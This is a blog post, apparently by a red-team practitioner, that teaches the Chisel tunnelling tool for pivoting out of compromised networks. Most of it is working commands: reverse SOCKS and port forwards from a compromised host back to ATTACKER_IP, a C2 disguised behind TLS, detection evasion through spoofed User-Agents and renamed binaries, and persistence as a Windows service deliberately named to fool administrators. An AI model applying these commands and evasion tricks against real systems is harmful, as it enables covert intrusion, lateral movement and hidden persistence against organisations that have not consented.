Skip to main content
  1. Posts/

Chisel: The Stealthy Architect of Network Tunnels

··1172 words·6 mins·
Table of Contents

ssh -D is a great pivot when nothing’s looking too closely at the traffic. The trouble is that any halfway competent perimeter does deep packet inspection, and SSH looks like SSH no matter how you dress it up. Chisel is what I reach for when the egress filtering is anything more than “block known SSH ports.”

It’s a single Go binary that wraps TCP/UDP tunnels in HTTP/WebSockets, secured with SSH-style auth. From the network’s perspective it’s web traffic. Slap a real TLS cert on it and you’ve got something most defenders won’t pull out of the noise without a specific signature.


1. Why Chisel
#

Chisel is one binary that acts as both client and server. The pieces that make it useful for offensive work:

  • It tunnels over WebSockets, so on the wire the conversation looks like a normal HTTP upgrade and a long-lived WS connection. Web proxies generally let it through without complaint.
  • Throughput is in a different class than the old HTTP-over-CGI tools like reGeorg. You can browse an internal SharePoint or run scans through it at speeds that don’t make you give up.
  • It does both reverse SOCKS (R:socks) and standard port forwarding (L:80:target:80).
  • Single static Go binary, so you can drop the same artifact on Linux, Windows, macOS, or Android.

The model is straightforward — server runs on your C2, client runs on the compromised host.


2. Reverse SOCKS
#

This is the Chisel command I use 90% of the time. You’re inside a restricted network and you want your toolkit on the outside (nmap, firefox, anything else) to route into it.

Server (your C2)
#

The server has to be told to allow reverse tunnels with --reverse:

# Listen on port 8080. Allow clients to open reverse tunnels.
./chisel server -p 8080 --reverse

Client (the compromised host)
#

The client connects out to your C2 and asks for a reverse SOCKS tunnel:

# Syntax: R:[local_port]:socks
# If local_port is not specified (just 'socks'), the server listens on 1080.
./chisel client http://ATTACKER_IP:8080 R:socks

What that does, end to end: the client opens an outbound HTTP/WS connection to your C2 and asks for a reverse SOCKS. The server opens port 1080 on itself and uses the existing connection back to the victim as the transport. Anything you point at 127.0.0.1:1080 on your C2 gets forwarded down the tunnel and out the client into the target network.

Pivot through it
#

# /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 445 10.10.10.0/24
Note

Use -sT (Connect Scan), not -sS. SOCKS proxies don’t carry half-open SYN scans or ICMP — -sS will silently scan your local box instead.

Modern Chisel does support UDP over SOCKS5, so DNS queries (dig) and some UDP-based exploits do work through the tunnel.


3. Port forwarding instead of SOCKS
#

Sometimes you don’t need a whole SOCKS proxy. You just want to expose one specific service.

Reverse port forward (expose internal service to your C2)
#

Take the victim’s RDP and put it on your C2’s port 4444:

# Client Command
./chisel client http://ATTACKER_IP:8080 R:4444:127.0.0.1:3389

ATTACKER_IP:4444 from anywhere with a route to your C2 now lands on the victim’s RDP.

Local port forward (run client on attacker, server inside)
#

Map an internal database to a local port — assumes you have a Chisel server running inside:

./chisel client http://TARGET_IP:8080 1433:10.0.0.5:1433

4. TLS and auth
#

Plain HTTP on port 8080 is a problem. Anyone who looks at the connection can see the SSH handshake inside the WS frames, and the listener is open to the internet for anyone scanning to find.

Auth keeps strangers out
#

# Server
./chisel server -p 8443 --reverse --auth "user:S3cretPass!"

# Client
./chisel client --auth "user:S3cretPass!" https://ATTACKER_IP:8443 R:socks

That stops the random Censys-style scanners from connecting to your listener and probing it.

TLS makes it look like a website
#

If you’re going to put this on the internet, give it a real cert. Self-signed works for the test but a Let’s Encrypt cert on a domain that looks like literally anything corporate is the difference between blending in and waving a flag.

# 1. Generate keys (or use Let's Encrypt)
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem

# 2. Server
./chisel server -p 443 --reverse --tls-key key.pem --tls-cert cert.pem

# 3. Client (Connect using wss:// implicitly via https)
./chisel client https://ATTACKER_IP:443 R:socks

5. Detection signatures and evasion
#

Chisel is well-known by now, which means the major EDRs and network sensors have signatures for it.

A few things that meaningfully push back on detection:

  1. Set a believable User-Agent. The default Chisel UA is a pattern.

    ./chisel client --header "User-Agent: Mozilla/5.0..." http://...
  2. The keep-alive interval is a network-side fingerprint. In environments where you’re worried about behavioral detection, fork the source and tweak the KeepAlive value in client/client.go before compiling. That’s the kind of thing a threat hunter looking at WebSocket session timing will actually notice.

  3. Don’t drop a binary called chisel.exe. Name it something boring — update_manager.exe, onedrive_updater.exe, whatever fits the host.

Chisel vs. Ligolo-ng
#

FeatureChiselLigolo-ng
InterfaceSOCKS5 ProxyFull TUN Interface
ProtocolTCP/UDP over HTTPTLS / QUIC
CapabilitiesTCP Connect only (mostly)ICMP, SYN Scan, UDP
RequirementsNo Admin neededRequires Admin/Root (for TUN)
Use CaseQuick, low-privilege pivotFull Network Layer Routability

The way I think about it: Chisel is what I drop on a victim where I don’t have admin, or where I just need to get a few tools talking to a few internal services. Ligolo is what I switch to once I’ve escalated and want a real interface that handles SYN scans and weirder protocols natively.


6. Persistence on Windows
#

If you have admin and you want the tunnel to come back after reboots and user logoffs, make it a service. NSSM (the Non-Sucking Service Manager) handles this cleanly:

# Install Service
nssm install WindowsUpdateAssistant "C:\Windows\Temp\chisel.exe" "client --auth user:pass https://C2:443 R:socks"

# Start it
nssm start WindowsUpdateAssistant

Service name matters. Pick something the host actually has services for already, or that an inattentive admin will skim past in services.msc.


Wrapping up
#

Chisel earns its place by getting a tunnel through egress filtering that defeats most simpler approaches, while not requiring admin on the victim. The limitation that comes with that is the SOCKS-only model. As soon as you need ICMP, raw sockets, half-open SYN scans, or anything that doesn’t look like a TCP connection from userland, you’re going to want Ligolo instead.

What I’d push harder on, regardless of which tool you use, is the perimeter side. Plain HTTP on a high numbered port with no auth — chisel.exe connecting to 1.2.3.4:8080 — is exactly what every modern egress monitoring product is shaped to catch. Put a real cert in front of it, register a vaguely plausible hostname, listen on 443, and the same connection becomes a much harder thing to pull out of a normal day’s HTTPS traffic.

UncleSp1d3r out.


References
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.